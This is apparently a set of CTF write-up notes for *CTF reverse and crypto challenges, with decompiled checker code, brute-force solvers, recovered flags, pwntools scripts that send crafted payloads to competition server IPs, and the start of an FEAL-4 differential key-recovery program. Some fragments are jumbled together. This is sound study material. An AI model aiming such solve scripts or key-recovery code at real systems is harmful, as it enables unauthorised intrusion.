v2 = mat1[i + 3];
mat1[i + 3] = mat1[i + 21];
mat1[i + 21] = mat1[14 - i];
mat1[14 - i] = mat1[i + 30];
mat1[i + 30] = v2;
}
}
void operation_34()
{
int i; // [esp+27h] [ebp-8h]
int v2; // [esp+2Bh] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[i + 6];
mat1[i + 6] = mat1[i + 24];
mat1[i + 24] = mat1[11 - i];
mat1[11 - i] = mat1[i + 33];
mat1[i + 33] = v2;
}
sub_5C20(&mat1[45]);
}
void operation_35()
{
int i; // [esp+48h] [ebp-8h]
int v2; // [esp+4Ch] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[i + 6];
mat1[i + 6] = mat1[i + 33];
mat1[i + 33] = mat1[11 - i];
mat1[11 - i] = mat1[i + 24];
mat1[i + 24] = v2;
}
sub_6473(&mat1[45]);
}
void operation_48()
{
int i; // [esp+6Eh] [ebp-8h]
int v2; // [esp+72h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[42 + i];
mat1[42 + i] = mat1[26 - i];
mat1[26 - i] = mat1[47 - i];
mat1[47 - i] = mat1[27 + 3 * i];
mat1[27 + 3 * i] = v2;
}
sub_5C20(&mat1);
}
void operation_53()
{
int i; // [esp+0h] [ebp-8h]
int v2; // [esp+4h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[42 + i];
mat1[42 + i] = mat1[27 + 3 * i];
mat1[27 + 3 * i] = mat1[47 - i];
mat1[47 - i] = mat1[26 - i];
mat1[26 - i] = v2;
}
sub_6473(&mat1);
}
void operation_49()
{
int result; // eax
int i; // [esp+70h] [ebp-8h]
int v2; // [esp+74h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[39 + i];
mat1[39 + i] = mat1[28 + 3 * i];
mat1[28 + 3 * i] = mat1[50 - i];
mat1[50 - i] = mat1[19 + 3 * i];
mat1[19 + 3 * i] = v2;
}
}
void operation_52()
{
int i; // [esp+50h] [ebp-8h]
int v2; // [esp+54h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[i + 39];
mat1[i + 39] = mat1[19 + 3 * i];
mat1[19 + 3 * i] = mat1[50 - i];
mat1[50 - i] = mat1[28 + 3 * i];
mat1[28 + 3 * i] = v2;
}
}
void operation_50()
{
signed int i; // [esp+73h] [ebp-8h]
int v2; // [esp+77h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[i + 36];
mat1[i + 36] = mat1[29 + 3 * i];
mat1[29 + 3 * i] = mat1[53 - i];
mat1[53 - i] = mat1[24 - i];
mat1[24 - i] = v2;
}
sub_5C20(&mat1[9]);
}
void operation_51()
{
int i; // [esp+12h] [ebp-8h]
int v2; // [esp+16h] [ebp-4h]
for ( i = 0; i < 3; i += 1 )
{
v2 = mat1[i + 36];
mat1[i + 36] = mat1[24 - i];
mat1[24 - i] = mat1[53 - i];
mat1[53 - i] = mat1[29 + 3 * i];
mat1[29 + 3 * i] = v2;
}
sub_6473(&mat1[9]);
}
// positive sp value has been detected, the output may be wrong!
unsigned int __stdcall sub_39C7(char *s)
{
int v1; // ecx
signed int i; // [esp+54h] [ebp-8h]
signed int v4; // [esp+58h] [ebp-4h]
v4 = strlen(s);
for ( i = 0; i < v4; i += 1 )
{
v1 = s[i];
if ( v1 == ((16 * (obfs_const[7] + 288083491)) ^ 0xB0DF2591) - 1196512209 ) //16
{
operation_16();
}
else if ( v1 == ((16 * (((obfs_const[7] ^ 0xE60F6354) - 826857249) >> 2)) ^ 0xB965D1B5) - 579033584
)//21
{
operation_21();
}
else if ( v1 == ((32 * obfs_const[3] + 1965675215) ^ 0x97741295) - 1248947081 ) // 17
{
operation_17();
}
else if ( v1 == (((obfs_const[6] ^ 0x34586BF6u) >> 6) ^ 0x8BDD5B2C) + 2003044905 )//20
{
operation_20();
}
else if ( v1 == ((unsigned int)(obfs_const[7] + 927293343) >> 5) - 95196085 ) //18
{
operation_18();
}
else if ( v1 == ((8 * ((unsigned int)(obfs_const[4] + 716493532) >> 1)) ^ 0x7B83A27E) + 1231816413
)//19
{
operation_19();
}
else if ( v1 == 16 * (obfs_const[6] - 1281978855) + 1733917904 ) // 32
{
operation_32();
}
else if ( v1 == ((((unsigned int)(2 * obfs_const[6]) >> 1) ^ 0xF5F2077) >> 4) - 111857537 ) // 37
{
operation_37();
}
else if ( v1 == (obfs_const[1] ^ 0x6BFD9D17) + 1167450915 ) // 33
{
operation_33();
}
else if ( v1 == ((obfs_const[5] ^ 0x8C399AE5) >> 1) - 1617879809 )//36
{
operation_36();
}
else if ( v1 == ((4 * obfs_const[1] - 819839489) ^ 0x3B31946C) - 797164164 + 13758679 )//34
{
operation_34();
}
else if ( v1 == 2 * (((unsigned int)obfs_const[0] >> 2) ^ 0x430F1EE) - 1624092443 )//35
{
operation_35();
}
else if ( v1 == 32 * ((((obfs_const[2] - 1854751333) ^ 0x5244B239u) >> 4) - 1604934297) - 2087901840
)//48
{
operation_48();
}
else if ( v1 == ((obfs_const[4] ^ 0x9CCC8793) << 6) - 1683468845 + 1399232866 )//53
{
operation_53();
}
else if ( v1 == ((obfs_const[1] << 8) & 0x1FFFFFFF) - 394389711 )//49
{
operation_49();
}
else if ( v1 == (((unsigned int)obfs_const[5] >> 3) ^ 0xECD8CC8B) + 448510230 )//52
{
operation_52();
}
else if ( v1 == (obfs_const[6] ^ 0x984A4E78) - 2109314098 )//50
{
operation_50();
}
else if ( v1 == obfs_const[7] - 2118981905 ) // 51
{
operation_51();
}
else
{
//return ((unsigned int)(obfs_const[6] + 908794) >> 4) - 241179520;
}
};
}
_DWORD dword_131D0[12] =
{
3565280580,
3865899232,
1820743261,
4016843373,
3513787146,
2438574441,
1036979519,
3644006006,
1684609776,
3690169551,
111033914,
1898110541
};
int check_mat()
{
int (*v1)[9]; // [esp+0h] [ebp-Ch]
int i; // [esp+4h] [ebp-8h]
unsigned int v3; // [esp+8h] [ebp-4h]
v3 = 1;
for ( i = 0; i < 6 && v3; i += 1 )
{
v1 = mat1[9 * i];
v3 = v1[7] + v1[5] + v1[4] + v1[3] + v1[1] == dword_131D0[2 * i + 1]
& v1[8] + v1[6] + v1[4] + v1[2] + v1[0] == dword_131D0[2 * i])
& (unsigned __int8)v3;
}
return v3;
}
// positive sp value has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // ecx
int v5; // [esp+0h] [ebp-18Ch]
unsigned int v6; // [esp+0h] [ebp-18Ch]
int v7; // [esp+4h] [ebp-188h]
int v8; // [esp+4h] [ebp-188h]
int v9; // [esp+8h] [ebp-184h]
int *v10; // [esp+8h] [ebp-184h]
int v11; // [esp+Ch] [ebp-180h]
int v12; // [esp+10h] [ebp-17Ch]
int v13; // [esp+14h] [ebp-178h]
int v14; // [esp+18h] [ebp-174h]
int v15; // [esp+1Ch] [ebp-170h]
int v16; // [esp+20h] [ebp-16Ch]
int v17; // [esp+24h] [ebp-168h]
int *v18; // [esp+28h] [ebp-164h]
int v19; // [esp+2Ch] [ebp-160h]
int v20; // [esp+30h] [ebp-15Ch]
char v21; // [esp+34h] [ebp-158h]
char s[136]; // [esp+84h] [ebp-108h]
int j; // [esp+184h] [ebp-8h]
matrix.idb
check_mat
a1 + a3 + a4 + a5 + a7 == C1 a0 + a2 + a4 + a6 + a8 == C2
int i; // [esp+188h] [ebp-4h]
printf(format);
_isoc99_scanf(a255s, s);
v19 = strlen(s);
for ( i = ((((dword_13298 << 7) ^ 0x6B1C9011) - 1357752438) << 6) + 2130876736;
i < v19 / (int)(((4 * ((dword_1328C - 2139265556) ^ 0x2354583E)) ^ 0xC54345AD) - 1189292331);
i += (((unsigned int)dword_13294 >> 1) ^ 0xFD2F57CB) + 614631013 )
{
v3 = 16 * (s[2 * i] - ((((8 * (dword_1328C ^ 0x646E5437u) + 124976640) >> 3) ^ 0x81AAAA88) +
1986772451));
v18 = (int *)((char *)&v20 + i + 3);
*((_BYTE *)&v20 + i + 3) = (s[2 * i + 778599960 + dword_13284] - (((dword_13284 - 80) ^ 0x16) - 95)) |
v3;
}
*((_BYTE *)&v20 + v19 / (((dword_1328C - 1039889880 + 1491743034) ^ 0x4DB7C173) + 744859163) + 3) =
(((_BYTE)dword_13294 << 6) ^ 0x57) + 105;
sub_39C7((char *)&v20 + 3);
if ( check_mat() )
{
memset(
&v11,
8 * (((16 * dword_13284) ^ 0xB0E8C2F1) + 1916836143) + 561271680,
(((2 * ((unsigned int)(2 * dword_13288) >> 2)) ^ 0xD639A2D1) >> 7) - 18760303);
for ( i = ((8 * ((unsigned int)(dword_13280 - 252287816) >> 7)) >> 1) - 101873648;
i < (int)((((((unsigned int)dword_13288 >> 7) - 1619149996) << 6) ^ 0x68E5C3CE) - 1662946120);
i += ((((dword_1329C + 1217304571) ^ 0xBF268809) + 1057211968) ^ 0x6721ADDD) + 568241494 )
{
v6 = ((((unsigned int)dword_1328C >> 5) ^ 0xA9E12912) >> 6) - 45605759;
v10 = off_13200[i];
v8 = (int)*(&off_13218 + i);
for ( j = (((dword_13294 ^ 0x6B4503A8u) >> 3) ^ 0x8AA18B73) + 1906990957;
j < ((8 * dword_13290 - 756214151) ^ 0x131CE6BA) - 75223170;
j += (((unsigned int)dword_13298 >> 1) ^ 0x42CEB488) - 808933765 )
{
v6 += *(_DWORD *)(4 * j + v8) * v10[j];
}
*(&v11 + i) = v6;
}
printf(aHereIsYourFlag, &v11);
}
else
{
puts(::s);
}
return 8 * ((dword_13288 - 1857398597 + 477812571) ^ 0x877E6FB3) - 218351504;
}
#include <iostream>
#include <vector>
int dword_131D0[12] =
{
3565280580,
3865899232,
1820743261,
4016843373,
3513787146,
2438574441,
1036979519,
3644006006,
1684609776,
3690169551,
111033914,
1898110541
};
int mat1[] =
{
4261284769,
2593214546,
3379508519,
4112523213,
4264750479,
3683532537,
85915988,
4263608092,
2066983099,
2633565089,
3280069325,
582179812,
1162929838,
3701378876,
2847166127,
863127658,
1362272088,
1596933486,
2606062088,
3944383785,
2600505476,
2601220870,
2573726481,
2449150891,
412426806,
1870371093,
3990476497,
4217896481,
630788528,
1036316276,
2559799280,
3748987598,
3286175766,
3155304697,
4115431692,
1901749068,
1041643430,
2163243917,
4221346961,
2904902702,
4216979759,
451892609,
3117159249,
2587579245,
3179261711,
4103788675,
46486308,
2210148869,
1132749441,
423109704,
4208667416,
2469777797,
2496053082,
1494648238
};
#include <stdio.h>
void combinationUtil(int arr[], int n, int r,
int index, int data[], int i);
// The main function that prints all combinations of
// size r in arr[] of size n. This function mainly
// uses combinationUtil()
void printCombination(int arr[], int n, int r)
{
// A temporary array to store all combination
// one by one
std::vector<int> data;
data.reserve(r);
// Print all combination using temprary array 'data[]'
combinationUtil(arr, n, r, 0, data.data(), 0);
}
/* arr[] ---> Input Array
n ---> Size of input array
r ---> Size of a combination to be printed
index ---> Current index in data[]
data[] ---> Temporary array to store current combination
i ---> index of current element in arr[] */
void combinationUtil(int arr[], int n, int r, int index,
int data[], int i)
{
// Current cobination is ready, print it
if (index == r) {
int *v1 = data;
for (int i = 0; i < sizeof(dword_131D0) / 4; i++) {
if (v1[0] + v1[1] + v1[2] + v1[3] + v1[4] == dword_131D0[i]) {
printf("Found %d: %x = ", i, dword_131D0[i]);
for (int j = 0; j < r; j++)
printf("%x ", data[j]);
printf("\n");
}
}
return;
}
// When no more elements are there to put in data[]
if (i >= n)
return;
// current is included, put next at next location
data[index] = arr[i];
combinationUtil(arr, n, r, index + 1, data, i + 1);
// current is excluded, replace it with next
// (Note that i+1 is passed, but index is not
// changed)
combinationUtil(arr, n, r, index, data, i + 1);
}
// Driver program to test above functions
int main()
{
Found 0: d481dd44 = fdfe0ba1 7b33a8bb 3dc4ee74 df7502ce 3e1637a6 Found 1: e66cf0e0 = 51329f58 6f7b9915 df7502ce
2c55324 43846281 Found 2: 6c86565d = c96f3527 51ef954 9967f311 715a634c 9335d185 Found 3: ef6c2a6d = f5201fcd
db8e3ef9 eb1a8529 9967f311 9a3b536d Found 4: d170230a = dc9e8f3c 9b009084 18952236 bd7faf0f 83bc3205 Found 5:
9159b169 = c381e2cd dc9e8f3c 98936ff0 c3df1016 94c6bf5a Found 5: 9159b169 = c96f3527 22b35be4 f54c810c ad254c2e
2c55324 Found 6: 3dcf0d3f = fe32ed8f 22b35be4 3372486a edd9d6d1 fb9ca491 Found 7: d9331e76 = fe32ed8f 91fb13ab
80f07b8d ad254c2e 1aef5581 Found 8: 64691af0 = 9cf903a1 9b555a08 b9cc1351 19382448 591685ae Found 9: dbf384cf =
fe217f1c a9b44eaf 259911b0 f54c810c 19382448 Found 10: 69e3e3a = 5f2f456e fb67fe21 bc1220f9 fb5a012f f49ad883 Found
11: 7122de4d = 9a915052 4550e6ae 9b0b7b06 fb5a012f fadb2b1
13792468flagflag
*CTF{7h1S_Cu63_is_m4g1c}
fanoGo
Status: Completed Tags: Reverse
int r = 5;
int n = sizeof(mat1) / sizeof(mat1[0]);
printCombination(mat1, n, r);
return 0;
}
import string
a = '''
fdfe0ba1 7b33a8bb 3dc4ee74 3e1637a6 51329f58 6f7b9915 2c55324 43846281 df7502ce
c96f3527 51ef954 715a634c 9335d185 f5201fcd db8e3ef9 eb1a8529 9a3b536d 9967f311
9b009084 18952236 bd7faf0f 83bc3205 c381e2cd 98936ff0 c3df1016 94c6bf5a dc9e8f3c
22b35be4 3372486a edd9d6d1 fb9ca491 91fb13ab 80f07b8d ad254c2e 1aef5581 fe32ed8f
9cf903a1 9b555a08 b9cc1351 591685ae fe217f1c a9b44eaf 259911b0 f54c810c 19382448
5f2f456e fb67fe21 bc1220f9 f49ad883 9a915052 4550e6ae 9b0b7b06 fadb2b18 fb5a012f
'''
t = [[int(c, 16) for c in row.split()] for row in a.strip().split('\n')]
t = [(row[0:4], row[4:8], row[8]) for row in t]
ret = []
for ti in range(len(t)):
cur = []
for l1 in itertools.permutations(t[ti][0]):
for l2 in itertools.permutations(t[ti][1]):
l = (l1[0], l2[0], l1[1], l2[1], t[ti][2], l2[2], l1[2], l2[3], l1[3])
c = sum([l[i] * k[ti][i] & 0xFFFFFFFF for i in range(9)]) & 0xFFFFFFFF
a = (chr(c & 0xff), chr((c >> 8) & 0xff), chr((c >> 16) & 0xff), chr((c >> 24) & 0xff))
for tchar in a:
if not (tchar in string.letters or tchar in string.digits or tchar in '{}*_,+'):
break
else:
cur.append(''.join(a))
ret.append(cur)
for c in ret:
print c
['*CTF', 'erkU']
['Gj3o', '{7h1', 'KP6o', 'uk6W', '4gjL']
['S_Cu', 'Xp,T', 'oeps']
['63_i', 'ERNJ']
['s_m4']
['ukxG', 'uHnr', 'g1c}', '4nEE', 'YOcm', 'AkT6', 'YctL', 'VRae']
from pwn import *
yy
Status: Completed Tags: Reverse
flex scanner
yy_ec :
data = [
0x2B, 0x60, 0xC3, 0xBE, 0xC2, 0xB7, 0xC2, 0x82, 0xC2, 0x89,
0xC3, 0x95, 0x5B, 0xC2, 0x87, 0x2A, 0x69, 0x13, 0xC2, 0x96,
0x51, 0xC3, 0xBD, 0x6F, 0x32, 0x28, 0x5A, 0xC3, 0x92, 0x74,
0xC2, 0x94, 0xC2, 0x94, 0xC2, 0x95, 0xC2, 0x96, 0xC2, 0xA4,
0xC3, 0x8A, 0xC2, 0xA3, 0xC3, 0x8E, 0xC2, 0xB3, 0x24, 0x24,
0x24, 0xC2, 0xBA, 0xC2, 0xAE, 0x46, 0x2B, 0xC2, 0xAC, 0x3C,
0xC3, 0xAB, 0x32, 0x23, 0x2A, 0xC3, 0xB0, 0xC3, 0xB3, 0xC2,
0xAC, 0xC3, 0x85, 0xC2, 0x87, 0x2C, 0xC2, 0xA3, 0x6B, 0xC2,
0xAD, 0x0F, 0xC3, 0x87, 0x5C, 0xC2, 0xA8, 0xC3, 0xB3, 0xC2,
0xAF, 0xC3, 0xA1, 0xC3, 0xB9, 0x12, 0xC3, 0x8A, 0x44, 0x72,
0xC2, 0xA6, 0xC2, 0x91, 0x66, 0x6D, 0x31, 0xC3, 0xA7, 0x51,
0x64, 0x67, 0x78, 0x75, 0x6B, 0xC2, 0x96, 0xC2, 0x91, 0x51,
0xC3, 0xA7, 0x3E, 0x13, 0xC3, 0x8E, 0x57, 0x7B, 0x47, 0xC2,
0x9D, 0x45, 0x7F, 0x29, 0x11, 0xC3, 0x95, 0xC3, 0xA1, 0xC3,
0xA7, 0x59, 0xC2, 0x8A, 0x06, 0xC2, 0x8C, 0xC2, 0x91, 0xC2,
0xB5, 0x0F, 0x3A, 0xC2, 0x8E, 0xC2, 0xBA, 0xC3, 0x8B, 0xC3,
0xAA, 0xC3, 0xA8, 0xC3, 0xBC, 0xC2, 0x8E, 0x71, 0xC3, 0xBD,
0x6F, 0x32, 0x36, 0xC3, 0xB9, 0x42, 0xC3, 0xA7, 0x49, 0xC3,
0x92, 0x22, 0x79, 0xC3, 0x89, 0xC3, 0x93, 0x54, 0x79, 0xC3,
0x96, 0x63, 0x6A, 0x1F, 0xC3, 0x96, 0xC3, 0xB3, 0x23, 0x6F,
0xC2, 0x94, 0x37, 0xC2, 0x94, 0xC3, 0xA8, 0x76, 0xC3, 0x83,
0xC3, 0x8E, 0x7C, 0x3F, 0xC2, 0xAD, 0xC3, 0xA0, 0xC2, 0x9F,
0x0C, 0xC2, 0xAA, 0x7B, 0xC3, 0x83, 0x26, 0xC2, 0xAD, 0xC3,
0xB0, 0x7E, 0x3A, 0xC3, 0xA5, 0x47, 0xC2, 0x9D, 0x7F, 0x09,
0xC3, 0xA5, 0x49, 0x44, 0xC2, 0xB0, 0xC2, 0xAF, 0x0F, 0x3A,
0xC3, 0x8C, 0x50, 0x51, 0xC3, 0xBD, 0x6F, 0x32, 0x2C, 0xC3,
0x8C, 0x2D, 0x27, 0x49, 0xC3, 0xA3, 0x2A, 0xC3, 0xB0, 0xC3,
0xB3, 0xC2, 0xAC, 0xC3, 0x88, 0xC2, 0x89, 0xC3, 0xB0, 0xC2,
0x9D, 0x7E, 0x1C, 0xC2, 0x9F, 0x29, 0x11, 0x41, 0x47, 0xC3,
0xB5, 0xC2, 0xBC, 0xC3, 0x88, 0xC2, 0x9A, 0x38, 0xC3, 0xB0,
0xC3, 0xA2, 0xC2, 0xB8, 0xC3, 0xA9, 0x15, 0xC3, 0x92, 0x50
]
p = remote('34.92.37.22', 10001)
p.recv()
pay = ''.join(map(chr, data))
print pay
p.send(pay)
p.interactive()
['\x00']
['\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\x0b', '\x0c', '\r', '\x0e',
'\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b',
'\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '+', ',', '-', '.', '/',
':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'D', 'E', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '`', '|', '~', '\x7f', '\x80', '\x81',
'\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e',
'\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b',
'\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '\xa1', '\xa2', '\xa3', '\xa4', '\xa5', '\xa6', '\xa7', '\xa8',
'\xa9', '\xaa', '\xab', '\xac', '\xad', '\xae', '\xaf', '\xb0', '\xb1', '\xb2', '\xb3', '\xb4', '\xb5',
'\xb6', '\xb7', '\xb8', '\xb9', '\xba', '\xbb', '\xbc', '\xbd', '\xbe', '\xbf', '\xc0', '\xc1', '\xc2',
'\xc3', '\xc4', '\xc5', '\xc6', '\xc7', '\xc8', '\xc9', '\xca', '\xcb', '\xcc', '\xcd', '\xce', '\xcf',
'\xd0', '\xd1', '\xd2', '\xd3', '\xd4', '\xd5', '\xd6', '\xd7', '\xd8', '\xd9', '\xda', '\xdb', '\xdc',
'\xdd', '\xde', '\xdf', '\xe0', '\xe1', '\xe2', '\xe3', '\xe4', '\xe5', '\xe6', '\xe7', '\xe8', '\xe9',
'\xea', '\xeb', '\xec', '\xed', '\xee', '\xef', '\xf0', '\xf1', '\xf2', '\xf3', '\xf4', '\xf5', '\xf6',
'\xf7', '\xf8', '\xf9', '\xfa', '\xfb', '\xfc', '\xfd', '\xfe', '\xff']
https://www.cs.uic.edu/~spopuri/cparser.html
['\n']
['*']
['0']
['1']
['2']
['3']
['4']
['5']
['6']
['7']
['8']
['9']
['C']
['F']
['T']
['_']
['a']
['b']
['c']
['d']
['e']
['f']
['g']
['h']
['i']
['j']
['k']
['l']
['m']
['n']
['o']
['p']
['q']
['r']
['s']
['t']
['u']
['v']
['w']
['x']
['y']
['z']
['{']
['}']
46 -> ? ?
47 -> ?
49 -> eps
48 -> ? ? ? ?
50 -> ? ? ? ? ?
51 -> ?
53 -> eps
52 -> ? ? ?
54 -> eps
54 -> ? ?
56 -> eps
55 -> ? ? ?
57 -> ?
57 -> ? ?
58 -> ?
58 -> ?
58 -> ?
0-9a-zbuffer
_}bufferresultbuffer
AES-128-CBC1600
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
58 -> ?
flag -> [*CTF] [{] expr [}]
expr -> expr [_] buff | buff
buff -> buff [a-z0-9] | eps
data = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0x46, 0x14, 0xF8,
0x2A, 0x40, 0xCF, 0x50, 0x31, 0xD3, 0xFE, 0x04, 0x8C, 0x06,
0x12, 0x12, 0x23, 0xFA, 0xC7, 0x26, 0xE8, 0x61, 0xD9, 0xC3,
0xA9, 0x3C, 0x45, 0x70, 0x1A, 0xC7, 0xF0, 0x3D, 0xDF, 0xBE,
0xBC, 0x16, 0xAB, 0x6E, 0x37, 0xAC, 0x14, 0x8B, 0x9C, 0x94,
0xF7, 0x5D, 0x62, 0x78, 0xFC, 0x16, 0x98, 0x1D, 0xB2, 0x31,
0xD3, 0x5A, 0xDC, 0x3A, 0x60, 0x86, 0x9A, 0xCA, 0x7B, 0xA3,
0xB5, 0xD5, 0xF1, 0xB2, 0xD9, 0xFF, 0xD2, 0x09, 0xD4, 0x77,
0xD7, 0x3D, 0xC0, 0x56, 0x19, 0x02, 0xB6, 0x9B, 0x42, 0x6C,
0xE8, 0xA2, 0x77, 0xE3, 0x99, 0xAC, 0x32, 0x40, 0x91, 0xA9,
0x2A, 0x86, 0xF3, 0xFA, 0x47, 0x3C, 0xC3, 0x5C, 0x41, 0x9B,
0xE8, 0x05, 0x07, 0xD0, 0xD4, 0x30, 0x5A, 0x9E, 0x8D, 0x52,
0x9B, 0xA3, 0xFB, 0xAD, 0xB6, 0x44, 0x3F, 0x72, 0x83, 0x9C,
0x22, 0x77, 0xFE, 0x48, 0xFE, 0x86, 0x84, 0x12, 0x00, 0x4E,
0xED, 0xFF, 0xAC, 0x44, 0x19, 0x23, 0x84, 0x1F, 0x12, 0xCA
]
...
Obfuscating Macros II
Status: Completed Tags: Reverse
sub_401006
1024
charsets = 'abcdefghijklmnopqrstuvwxyz0123456789'
box = [
0x82, 0x05, 0x86, 0x8A, 0x0B, 0x11, 0x96, 0x1D, 0x27, 0xA9,
0x2B, 0xB1, 0xF3, 0x5E, 0x37, 0x38, 0xC2, 0x47, 0x4E, 0x4F,
0xD6, 0x58, 0xDE, 0xE2, 0xE5, 0xE6, 0x67, 0x6B, 0xEC, 0xED,
0x6F, 0xF2, 0x73, 0xF5, 0x77, 0x7F
]
boxx = ''.join(map(chr, box))
import string
t = string.maketrans(boxx, charsets)
cipher = ''.join(map(chr, data))[16:]
from Crypto.Cipher import AES
key = '2b7e151628aed2a6abf7158809cf4f3c'.decode('hex')
iv = '\x00' * 16
aes = AES.new(key, AES.MODE_CBC, iv)
plain = aes.decrypt(cipher).translate(t)
for i in xrange(0, len(plain), 16):
print plain[i:i+16]
(v11+1)
input.len == 16bytes
a = 8bytes (v10)
b = 8bytes (v9)
========LOOP_1024=========
v11 = ~a
(a & 1)
v11 = b
v11 ^= (~a)
b = v11
a = ~a
v11 = a & 0x8000000000000000
v5 = v11
a *= 2
v11 = b & 0x8000000000000000
if (v11) ( true +1)
a |= 1 (2a+=1)
b *= 2
if (v5) ( true +1)
b |= 1
v11 = b
v11 += a
v23 = v11
tmp = b
b = v23
a = tmp
v11 = a & 0x8000000000000000
v5 = v11
a *= 2
v11 = b & 0x8000000000000000
102410
python161024a == 0xA1E8895EB916B732 && b
== 0x50A2DCC51ED6C4A2
(v11) ( true +1)
a |= 1 (2a+=1)
b *= 2
v11 = v5
(v5) ( true +1)
b |= 1
=================
import struct
def not_num(a):
return (~a & 0xffffffffffffffff)
def do_overflow_qword(a):
return (a & 0xffffffffffffffff)
flag = "flag{abcdef0123}"
a, b = struct.unpack("qq", flag)
print "a: " + hex(a)
print "b: " + hex(b)
print "========================="
for i in range(1024):
if not (a & 1):
b ^= not_num(a)
else:
b ^= a
a = not_num(a)
v5 = a & 0x8000000000000000
a *= 2
a = do_overflow_qword(a)
if b & 0x8000000000000000:
a |= 1
b *= 2
b = do_overflow_qword(b)
if v5:
b |= 1
tmp = b
b += a
b = do_overflow_qword(b)
a = tmp
v5 = a & 0x8000000000000000
a *= 2
a = do_overflow_qword(a)
if b & 0x8000000000000000:
a |= 1
b *= 2
b = do_overflow_qword(b)
if v5:
b |= 1
print "a: " + hex(a)
print "b: " + hex(b)
print "========================="
#include <cstdio>
#include <cstring>
using namespace std;
#define ll unsigned long long
ll a = 0xa1e8895eb916b732uLL, b = 0x50a2dcc51ed6c4a2uLL;
Crypto
babyprng
Status: Completed Tags: Crypto
int main() {
for (int i = 0; i < 1024; i++) {
int flaga = 0, flagb = 0;
if (b & 1) {
flaga = 1;
} else {
flaga = 0;
}
if (a & 1) {
flagb = 1;
} else {
flagb = 0;
}
if (flagb) {
b = b / 2 + 0x8000000000000000;
} else {
b = b / 2;
}
if (flaga) {
a = a / 2 + 0x8000000000000000;
} else {
a = a / 2;
}
//printf("%llx %llx\n", a, b);
ll tmp = a;
a = b - a;
b = tmp;
if (b & 1) {
flaga = 1;
} else {
flaga = 0;
}
if (a & 1) {
flagb = 1;
} else {
flagb = 0;
}
if (flagb) {
b = b / 2 + 0x8000000000000000;
} else {
b = b / 2;
}
if (flaga) {
a = a / 2 + 0x8000000000000000;
} else {
a = a / 2;
}
//printf("%llx %llx\n", a, b);
a = ~a;
if (a & 1) b ^= a;
else b ^= ~a;
}
printf("%llx %llx\n", a, b);
}
from hashlib import sha256
babyprng2
Status: Completed Tags: Crypto
Prng1
notcurves
from pwn import *
import string
def proof_of_work(postfix,res):
for a in table:
for b in table:
for c in table:
for d in table:
if sha256(a+b+c+d+postfix).hexdigest() == res:
return a+b+c+d
table = string.ascii_letters+string.digits
num = 10
code = '\x01\x12\x02\x34'+'\x00'*num
code += '\x01\x11\x12\x02\x35'+'\x00'*num + '\x4E'
codeh = code.encode('hex')
context.log_level = 'debug'
io = remote('34.92.185.118', 10002)
proof = io.recv().strip()
postfix, res = proof.split("==")
res = res.strip()
postfix = postfix.split('+')[1].split(')')[0]
io.sendline(proof_of_work(postfix,res))
io.sendline(codeh)
io.interactive()
from hashlib import sha256
from pwn import *
import string
def proof_of_work(postfix,res):
for a in table:
for b in table:
for c in table:
for d in table:
if sha256(a+b+c+d+postfix).hexdigest() == res:
return a+b+c+d
table = string.ascii_letters + string.digits
code = '\x01\x12\x05\x34\x00\x11'
code += chr(6 + 0x30 + 1)
code += '\x01\x11\x12\x05\x35\x00'
code += chr(6 + 0x30 + 2)
codeh = code.encode('hex')
context.log_level = 'debug'
io = remote('34.92.185.118', 10003)
proof = io.recv().strip()
postfix, res = proof.split("==")
res = res.strip()
postfix = postfix.split('+')[1].split(')')[0]
io.sendline(proof_of_work(postfix, res))
io.sendline(codeh)
io.interactive()
Status: Completed Tags: Crypto
u=v=0
notfeal
Status: Completed Tags: Crypto
FEAL-4 ffhttp://theamazingking.com/crypto-feal.php
//Differential Cryptanalysis of FEAL-4
//Uses a chosen-plaintext attack to fully recover the key
//For use with tutorial at http://theamazingking.com/crypto-feal.php
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <time.h>
#define MAX_CHOSEN_PAIRS 10000
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
int winner = 0;
int loser = 0;
unsigned long subkey[6];
unsigned char rotl2(unsigned char a) { return ((a << 2) | (a >> 6)); }
unsigned long leftHalf(unsigned long long a) { return (a >> 32LL); }
unsigned long rightHalf(unsigned long long a) { return a; }
unsigned char sepByte(unsigned long a, unsigned char index) { return a >> (8 * index); }
unsigned long combineBytes(unsigned char b3, unsigned char b2, unsigned char b1, unsigned char b0)
{
return b3 << 24L | (b2 << 16L) | (b1 << 8L) | b0;
}
